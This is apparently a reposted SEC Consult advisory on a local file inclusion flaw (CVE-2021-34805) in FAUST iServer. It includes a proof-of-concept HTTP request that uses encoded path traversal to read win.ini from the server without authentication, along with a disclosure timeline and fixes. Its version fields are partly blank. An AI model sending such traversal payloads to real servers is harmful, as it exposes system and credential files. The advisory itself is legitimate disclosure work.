FAUST iServer Local File Inclusion

Credit: Mario Keck
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: None
Availability impact: None

SEC Consult Vulnerability Lab Security Advisory < 20220120-0 > ======================================================================= title: Local file inclusion vulnerability product: Land Software - FAUST iServer vulnerable version: - fixed version:, Version 10 CVE number: CVE-2021-34805 impact: high homepage: https://www.land-software.de found: 2021-05-25 by: Mario Keck (Atos Germany) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- (German) "Der FAUST iServer bringt Ihre FAUST- , FAUST Entry- und LIDOS-Datenbanken ins Intranet und Internet. Er bietet hohe Sicherheit und eine einfache Installation." Source: http://www.land-software.de/lfs.fau?prj=iweb&dn=faust+iserver Business recommendation: ------------------------ The vendor provides a hotfix for the identified vulnerable versions. As the most actual version v10 of FAUST iServer is not vulnerable, no immediate action in the form of a patch is required. The webroot of the server should not be on the same partition as the operating system's root partition. Vulnerability overview/description: ----------------------------------- 1) Local File Inclusion (CVE-2021-34805) When a URL is requested, the FAUST iServer checks for the corresponding ".fau" file on the operating system. ".fau" files can be compared with compiled webserver pages for displaying the content of the webpage. The identified vulnerable versions of FAUST iServer do not properly protect against a request aiming to read local files of the operating system. FAUST iServer is designed to work on Windows operating systems only. Therefore, by simply URL-encoding a path like ..\..\..\windows\win.ini into %2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini the FAUST iServer returns the contents of win.ini Proof of concept: ----------------- 1) Local File Inclusion (CVE-2021-34805) The following proof of concept shows the HTTP request that was used to read local files of the server's operating system. The vulnerability, as shown in the proof of concept request below, can be triggered as soon as a vulnerable version of FAUST iServer is in use. To read operating system specific files, the webroot of FAUST iServer has to be located on the same partition as the operating system root. Authorization is not needed. ------------------------------------------------------------------------------- HTTP Request: GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: keep-alive Host: <IP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 ------------------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- The following versions have been tested and found to be vulnerable: * * Vendor contact timeline: ------------------------ 2021-06-10: Contacting vendor via email. 2021-06-14: Vendor requested more information about the vulnerability, which was provided on the same day. 2021-06-15: Requested information from vendor to check which versions are vulnerable. 2021-06-17: Vendor informed researcher about upcoming update and promised to inform all customers about the critical security fix in it. 2021-08-09: Confirmed the security fix in FAUST iServer 2021-08-16: Researcher received a notification mail from the vendor's newsletter announcing the official release of the fixed version. 2022-01-12: Version 10 was officially released and is available for all customers for upgrade. 2022-01-20: Release of security advisory Solution: --------- The vulnerability is fixed in the following version: * This patch should be immediately installed. Version 10 is not affected by this vulnerability, if possible it is recommended to upgrade to this version. Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Mario Keck / @2022

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